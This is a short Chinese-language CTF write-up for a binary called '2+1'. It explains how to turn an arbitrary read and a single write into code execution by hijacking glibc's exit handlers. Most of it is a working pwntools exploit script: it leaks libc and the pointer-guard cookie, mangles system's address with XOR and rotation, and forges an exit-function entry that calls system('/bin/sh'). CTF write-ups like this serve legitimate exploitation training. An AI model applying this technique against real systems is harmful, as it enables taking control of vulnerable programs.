程序的功能是可以泄露任意地址的数据,然后可以往任意地址处写一个堆地址
由于写完后,没有调用相关的IO输入输出函数,因此劫持IO流没用,于是想到劫持exit,在exit断点,在exit开始处有一个指针,其内部是某些结构
继续向下,可以发现,exit会从中取出一个加密的数据解密后作为函数地址进行调用
因此,我们可以伪造这个结构,在适当位置布置好指针,这个指针需要加密,因此我们用一次地址泄露泄露出fs:30的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import *
def rol(val,n): return ((val << n) & 0xFFFFFFFFFFFFFFFF) | ((val >> (64 - n)) & 0xFFFFFFFFFFFFFFFF)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
sh = process('./2+1') sh.recvuntil('Gift: ') alarm_addr = int(sh.recvuntil('\n',drop = True),16) libc_base = alarm_addr - libc.sym['alarm'] system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + libc.search('/bin/sh').next() print 'libc_base=',hex(libc_base)
sh.sendafter('where to read?:',p64(libc_base + 0x5efc70)) sh.recvuntil('data: ') cookie = u64(sh.recv(8)) print 'cookie=',hex(cookie) rop_addr = cookie - 0xF0 print(hex(libc_base+0x39f40))
sh.sendafter('where to write?:',p64(libc_base + 0x3c45f8)) sh.sendafter('msg:','a'*0x8 + p64(0x5) + p64(0x4) + p64(rol(system_addr ^ cookie,0x11)) + p64(binsh_addr))
sh.interactive()
|